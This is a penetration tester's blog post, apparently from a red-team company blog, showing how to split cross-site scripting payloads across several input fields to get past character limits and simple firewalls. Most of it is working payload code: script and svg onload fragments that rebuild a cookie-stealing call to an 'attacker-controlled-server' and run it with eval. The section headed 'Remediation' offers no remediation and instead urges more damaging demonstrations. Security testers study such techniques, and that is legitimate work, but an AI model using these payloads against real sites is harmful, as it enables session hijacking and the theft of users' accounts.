Weaponising Staged Cross-Site Scripting (XSS) Payloads

Sajeeb Lohani
May 17 · 4 min read

I’m starting a new “Weaponising…” series of blog posts due to my substantial dislike for seeing Proof of Concepts (PoCs) showing a simple “Alert!” box when there is so much more hackery goodness possible. This blog post, aims to go a step further and display how to weaponise staged Cross-Site Scripting (XSS) payloads. This can prove to be quite useful when the target application enforces a character limit and/or a Web Application Firewall (WAF) is in place.


Single Vs. Staged Payload?

A staged payload traditionally sends a stager payload which then downloads additional stages from the attacker’s server, executing them to exploit the target. This process has been displayed in the diagram below:

For the purpose of this article, we will be looking into how to send payloads in different input fields, breaking up the exploit into multiple parts and then finally executing them all, in unison.

This blog post will showcase two scenarios where staged payloads should be used. Firstly, where character limitations are in place, and secondly, where both character limitations and a basic WAF is in place.

Note: this blog post is not focused at bypassing WAFs. There are already a multitude of great resources around the Internet discussing those techniques. This is merely an observation and workaround of some issues I’ve encountered during penetration testing.


Scenario 1: Character Limits in Place

Let’s assume the target application has ten different parameters that echo a user’s input. We’ll call these ten parameters: a, b, c, d, e , f, g, h, i, and j. These parameters are also echo’d back to the victim’s screen in the same order mentioned above.

For something as simple as an alert box, 25 characters is enough, however for exploits slightly more complicated like covertly stealing cookies, the payload size tends to be much larger.

For example, the payload below (79 characters) will perform a GET request, using the jQuery library, behind the scenes to an attacker controlled server, including the victim’s cookies:

<script>$.get(“https://attacker-controlled-server/?"+document.location)</script>

This same payload can still be used within this restricted system by merely splitting the exploit into smaller parts and concatenating them into one larger variable, as displayed below:

Value of parameter a:

<script>var a = '$.get("https://attacker'</script>

Value of parameter b:

<script>a += 'controlled-server/?"+docu'</script>

Value of parameter c:

<script>a += 'ment.cookie)';eval(a)</script>

How about the times you don’t have jQuery loaded? Firstly, you can load it using <script src=//cdn-url></script>, but you can also use bare bones JavaScript, as displayed below:

Value of parameter a:

<script>var x = new XMLHttpRequest();</script>

Value of parameter b:

<script>var u="attacker?"+document.cookie</script>

Value of parameter c:

<script>x.open("GET","https://"+u,false);</script>

Value of parameter d:

<script>x.send(null);</script>


Scenario 2: Character Limitations and Simple WAF

Thinking about this later, it made sense that each of these event handlers were likely anonymous functions within the JavaScript code and therefore not able to share local variables (outside their scope). Annoyed that I was no longer able to write a simple PoC script, I thought about a way around it until I came up with this solution! What does each anonymous JavaScript function have in common? The “window” global variable!

An example of cookie stealing, using the event handlers, with the presence of jQuery, is given below:

Value of parameter a:

<svg onload="window.x='$.get(\"https://attacker'">

Value of parameter b:

<svg onload="window.x += '/?\"+document.cookie)'">

Value of parameter c:

<svg onload="eval(window.x)">


Remediation

Hopefully the next time you run into a set of character limitation fields that are vulnerable to XSS, you can still leverage this concept to demonstrate high impact payloads. Don’t be that “alert(0)” guy, TRY HARDER!

Sajeeb is a Senior Penetration Tester a Privasec in Melbourne, Australia. Sajeeb has disclosed over 120 CVEs and is very fond of security research. When he is not findings bug or exploiting them Sajeeb can be found giving talks and sharing knowledge within the infosec community.

Privasec RED

Phishing, hacking, exploits and infiltration: stories and posts from the Offensive Cyber Security Red Team of Privasec

Sajeeb Lohani

Written by

Sajeeb is a Senior Penetration Tester as Privasec in Melbourne. Sajeeb has disclosed over 120 CVEs and is an active member of the infosec community.

Privasec RED

Phishing, hacking, exploits and infiltration: stories and posts from the Offensive Cyber Security Red Team of Privasec